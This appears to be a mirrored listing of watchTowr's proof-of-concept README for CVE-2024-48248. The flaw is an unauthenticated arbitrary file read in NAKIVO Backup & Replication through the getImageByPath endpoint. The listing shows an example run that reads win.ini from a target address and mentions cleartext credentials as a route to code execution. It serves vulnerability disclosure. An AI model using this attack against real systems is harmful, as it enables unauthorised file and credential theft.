CVE-2024-48248 PoC — Nakivo Backup & Replication 安全漏洞

Source

https://github.com/watchtowrlabs/nakivo-arbitrary-file-read-poc-CVE-2024-48248

Associated Vulnerability

Title: Nakivo Backup & Replication 安全漏洞 (CVE-2024-48248)
Description:NAKIVO Backup & Replication before 11.0.0.88174 allows absolute path traversal for reading files via getImageByPath to /c/router (this may lead to remote code execution across the enterprise because PhysicalDiscovery has cleartext credentials).

Readme


# CVE-2024-48248
NAKIVO Backup and Replication Solution: Unauthenticated Arbitrary File Read Proof of Concept
 
See our [blog post](https://labs.watchtowr.com/) for technical details

# Detection in Action


```
python3 watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py --url https://192.168.1.1:4443 --file "C:\\windows\\win.ini"
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py
        (*) Nakivo Unauthenticated Arbitrary File Read (CVE-2024-48248) POC by watchTowr
        
          - Sonny , watchTowr (sonny@watchTowr.com)

        CVEs: [CVE-2024-48248]
        
[*] Targeting https://192.168.1.1:4443
[*] Attempting to read file 'C:\windows\win.ini'
[*] File Contents:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

```

# Description

This script is a proof of concept for CVE-2024-48248, targeting the NAKIVO Backup and Replication Solution. More details are described within our [blog post] (https://labs.watchtowr.com/).

# Affected Versions

* NAKIVO Backup and Replication Solution 10.11.3.86570 and below


# Follow [watchTowr](https://watchTowr.com) Labs

For the latest security research follow the [watchTowr](https://watchTowr.com) Labs Team 

- https://labs.watchtowr.com/
- https://x.com/watchtowrcyber

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →